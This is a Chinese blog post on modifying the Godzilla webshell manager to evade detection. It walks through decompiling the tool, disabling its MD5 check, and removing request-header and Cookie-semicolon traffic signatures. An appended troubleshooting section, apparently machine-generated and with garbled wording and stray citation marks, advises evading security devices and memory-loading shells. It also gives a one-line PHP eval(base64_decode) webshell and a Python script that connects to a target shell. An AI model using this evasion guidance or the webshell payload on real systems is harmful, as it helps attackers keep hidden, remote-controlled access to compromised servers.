【工具二开】魔改哥斯拉(一)

二开哥斯拉,内容如下:

  • 修改请求头特征字段

  • 去除Cookie后面的分号特征

  • 修改响应体特征

  • 修改请求体特征

  • 更改数据交互方式

  • 更改加密方式

  • 更改加载器

  • 其它免杀处理

  • ...... 

准备工作

一、首先下载原工具jar包,进行反编译

项目下载地址:

https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

图片

下载下来后进行反编译,两种方式:

1、IDEA工具插件

java -cp "D:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2023.1.2\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true godzilla.jar godzilla_de

2、在线平台

https://www.decompiler.com

这里使用第一种方式IDEA工具插件进行反编译

反编译好,得到一个jar包

给它解压出来就是我们的源码目录,至此反编译工作完成

图片

二、搭建二开环境

这里使用IDEA,新建项目

图片

并将刚才解压的源码复制到项目中,新建lib目录,将哥斯拉jar包和运行生成的db文件放进去

图片

接着,配置项目结构:

1、模块,添加lib中的原工具jar包

图片

2、添加工件,JAR,找主类MainActivity(core.ui)

图片

图片

应用确认之后,二开环境搭建完毕!


二开说明

1、我的环境:哥斯拉V4.01、IDEA、JDK1.8、phpStudy、tomcat、IIS

2、我们只需要把源码中想改的部分,复制到src目录修改代码后,重新打包即可

3、哥斯拉二开,有个MD5校验的问题要提前解决,否则编译之后新的jar你是运行不了的

解决步骤:在源码中查找提示的关键字“你使用的软件”,找到对应文件的路径,复制到src目录下注释校验代码即可

图片

编译运行测试,可正常打开,此问题已解决


修改请求头特征字段

请求头3个特征字段

图片

根据关键字找到文件,和上面同样的操作,直接修改代码

打包编译,运行测试

抓包看看,没问题!


去除Cookie后面的分号特征


哥斯拉Cookie特征

源码中搜一下关键字,找到代码文件HttpResponse.java

代码逻辑很简单,可借助如今摧枯拉朽的伟大技术——人工智能ChatGPT

去除以下问题代码即可

sb.append(String.format(" %s=%s;", cookie.getName(), cookie.getValue()));

测试如图,分号已去除

至此,请求头特征已经去除干净!

未完待续

### 哥斯拉 Stoaway 运行故障解决方案 哥斯拉款流行的 Webshell 管理工具,其通过特定协议与服务器端的 Webshell 进行通信。然而,在实际使用过程中可能会遇到运行故障的情况。以下是针对 **Stoaway** 功能可能出现的运行故障及其解决方案: #### 1. 配置问题 如果在连接过程中出现问题,可能是因为配置文件未正确设置。确保客户端和服务器端的参数致,尤其是加密密钥、路径以及模式选择部分。 - 如果使用的是版本,则需要确认是否选择了对应的模式[^2]。 - 客户端和服务端之间的加密算法需匹配,否则可能导致无法正常通信。 #### 2. 流量特征引发拦截 哥斯拉的流量可能存在些明显的特征,例如 Cookie 中的分号或者请求体中的特殊字段[^3]。这些特征容易被安全设备识别并阻断。为了规避此类问题: - 可尝试调整请求头的内容,移除不必要的标志位。 - 使用更隐蔽的数据传输方式,比如 POST 请求隐藏数据于 body 或者 URL 参数中。 #### 3. Shell 被查杀或失效 即使成功上传了 Webshell 文件,也可能因防护软件的存在而被删除或禁用。此时建议采用内存加载技术来绕过静态扫描机制[^4]。具体方法如下: ```bash # 利用 PHP 的 eval 和 base64_decode 实现动态解码执行 <?php @eval(base64_decode($_POST['cmd'])); ?> ``` #### 4. 版本兼容性 不同版本之间可能存在功能差异,特别是官方版与发版之间。当使用某个特定功能(如 Stoaway)时,请务必验证当前所使用的客户端和服务端均为同分支下的最新稳定版本。 --- ### 示例代码片段 以下是个简单的测试脚本用于检查基本连接状态: ```python import requests url = "http://target.com/shell.php" data = {"password": "your_password", "action": "test"} headers = { "User-Agent": "Mozilla/5.0", } response = requests.post(url, data=data, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] Connection successful!") else: print("[-] Failed to connect.") ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值